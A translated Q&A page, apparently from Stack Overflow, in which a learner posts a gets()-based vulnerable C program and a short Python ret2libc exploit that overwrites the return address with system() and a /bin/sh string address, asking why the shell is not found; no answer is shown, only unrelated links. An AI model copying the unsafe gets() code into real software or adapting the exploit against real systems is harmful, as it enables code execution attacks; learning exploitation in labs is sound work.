stack - return2libc - 系统命令找不到 shell
问题描述
我是缓冲区溢出的新手,我正在尝试学习一些简单的 ret2libc。首先是可利用的代码:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
我在 gdb 中调试了我的程序并查找了系统命令地址(p system)。之后,我在堆栈上搜索 Shell env 变量并得到了这个地址:0xbfffff98: "SHELL=/bin/sh" 我将 6 添加到地址并得到 0xbfffff9e。现在我有了 /bin/sh 和系统 cmd 的地址。我用 x/s 测试了它们,它们是正确的。
这是我的小漏洞:
import struct
padding="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
system = struct.pack("I", 0xb7ecffb0)
dummy = "CCCC"
shell = struct.pack("I", 0xbfffff9e)
print padding + system + dummy + shell
填充填充缓冲区
system 是 libc 的系统命令
dummy 是系统 cmd 的返回地址(只是一个简单的错误段错误)
shell 是 /bin/sh 的地址
现在我在 main 的返回处设置一个断点并跳过一条指令,但得到一个错误: 错误
如果我理解正确,系统找不到/bin/sh,但它存在...为什么会这样?
解决方案
推荐阅读
- c - Linux SPI 跟踪 - 无传输消息
- html - 使用 HTML 对象时在 For...Each 循环上出现 91 错误
- flutter - 如何修复 Flutter 中 LocalStorage Library 抛出的 FileSystemException
- mysql - 查找元素的最大出现次数的 SQL 查询
- apple-push-notifications - +[_CFXNotificationTokenRegistration keyCallbacks] 获取 iOS 时崩溃
- redis - spring cloud gw redis速率限制器不显示速率限制器信息标题
- json - Bash:源文件在字符串中执行代码
- jenkins - 已删除的 Jenkins 作业 - 每次“运行”时,管道都会向松弛通道发送通知
- r - 在 IRange 的矩阵中分配 1
- r - ggrepel::geom_text_repel 在大型模式/Rstudio 笔记本输出中不起作用(也不适用于cowplot)